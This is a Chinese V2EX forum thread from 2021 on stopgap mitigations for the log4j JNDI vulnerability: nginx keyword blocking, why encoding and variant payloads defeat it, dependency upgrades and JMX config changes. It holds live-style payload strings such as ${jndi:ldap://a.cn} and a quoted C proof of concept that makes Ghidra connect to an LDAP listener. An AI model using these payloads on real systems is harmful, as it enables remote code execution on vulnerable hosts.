V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
amrom
V2EX  ›  Java

关于 log4j 的一种临时解决方案

  •  
  •   amrom · 2021-12-13 15:58:11 +08:00 · 2996 次点击
    这是一个创建于 1112 天前的主题,其中的信息可能已经有所发展或是发生改变。

    最近看到很多讨论 log4j 的那个 bug ,修复方案很多,但是基本都要动线上服务,我分享一种思路,大伙帮忙看下: 使用 nginx 来拦截指定关键字,不知道这样可行不

    13 条回复    2021-12-14 15:14:55 +08:00
    yanqiyu
        1
    yanqiyu  
       2021-12-13 16:00:54 +08:00
    类似于 WAF ,应该好使,但是你怎么保证你的关键字拦截包含了所有情况?
    比如某个后端程序会对请求里面的 base64 字段解码后写日志,这时候关键字不就不好使了
    amrom
        2
    amrom  
    OP
       2021-12-13 16:02:20 +08:00
    @yanqiyu nginx 拦截应该可以应对起码一半以上的情况,不能拦截文本中的内容,或者加密后的东西,只能当作一种临时方案,给后端服务留下时间修复
    liuidetmks
        3
    liuidetmks  
       2021-12-13 16:02:30 +08:00
    有时候,参数是加密的,或者参数是 base64 之后的 ,不同业务甚至叠加了各种 encode
    zeni123
        4
    zeni123  
       2021-12-13 18:42:31 +08:00
    还是得用 java instrumentation ,因为你不知道 你的包的依赖里面藏了一个 log4j
    a398058068
        5
    a398058068  
       2021-12-13 18:45:59 +08:00
    spring boot + lombok 用 @sl4j2 注解 ,切换上层日志框架 基本 0 成本
    BeautifulSoap
        6
    BeautifulSoap  
       2021-12-13 18:48:04 +08:00
    拦截不光要拦截 url 还得拦截 post/put 等的 payload
    通过车 websocks 的话也要处理
    还有上传的文件内容、文件名之类的
    zeni123
        7
    zeni123  
       2021-12-13 18:54:18 +08:00
    @BeautifulSoap 两个值加起来的这种已有可能成功吧 ,可以用特殊字符 log.info("value is {} and {}", var1,var2); 可能性太多了
    podel
        8
    podel  
       2021-12-13 19:00:55 +08:00
    有很多陈年老服务甚至都不维护了。一丁点配置改动都不敢动。
    楼主应该说的这种情况。
    xuanbg
        9
    xuanbg  
       2021-12-13 19:29:03 +08:00
    拦截肯定不能完全拦住,那就等于没拦。

    pom 文件里面指定一下版本再重新打包发布很难吗?
    izoabr
        10
    izoabr  
       2021-12-13 22:55:27 +08:00
    没用,都用 WAF 拦都抗不过一会儿一个变种 payload
    dallaslu
        11
    dallaslu  
       2021-12-14 11:27:33 +08:00
    还有第三方接口的返回内容。比如微信昵称叫,支付宝商品名,都有可能是 ${jndi:ldap://a.cn}
    ikas
        12
    ikas  
       2021-12-14 13:47:01 +08:00
    如果你的部署没有禁止 mbean 连接,可以使用 mbean 动态修改配置...

    1.打开 jconsole,连接你的 app,然后找到 org.apache.logging.log4j2..
    2.找到 操作>getConfigText ,参数填写 utf-8,然后执行获取当前配置,复制配置,修改好
    3.找到 操作>setConfigText,参数填写(配置 text,utf-8),然后执行
    fengjianxinghun
        13
    fengjianxinghun  
       2021-12-14 15:14:55 +08:00
    甚至二进制文件里带 jndi 。。。。

    ```
    https://twitter.com/zhuowei/status/1469176410170437634

    Zhuowei Zhang
    @zhuowei
    ghidra_10.0.2_PUBLIC $ find . -name "*.jar"|grep log
    ./Ghidra/Framework/Generic/lib/log4j-core-2.12.1.jar
    ./Ghidra/Framework/Generic/lib/log4j-api-2.12.1.jar
    ./Ghidra/Features/GhidraServer/data/yajsw-stable-12.12/lib/core/commons/commons-logging-1.1.jar

    crap

    1:25 PM · Dec 10, 2021

    https://twitter.com/zhuowei/status/1469186818549719042

    Zhuowei Zhang
    @zhuowei
    Ghidra's vulnerable to log4j:
    __attribute__((__section__(".note.${jndi:ldap://127.0.0.1:1234/abc}")))
    int a = 1;
    int main(){}
    $ gcc hello.c
    $ nc -l 1234
    Load into Ghidra; it connects to 127.0.0.1:1234.
    Ghidra 10.0.2, macOS OpenJDK Corretto 11.0.4.11.1

    2:06 PM · Dec 10, 2021
    ```
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   实用小工具   ·   1245 人在线   最高记录 6679   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 24ms · UTC 17:35 · PVG 01:35 · LAX 09:35 · JFK 12:35
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.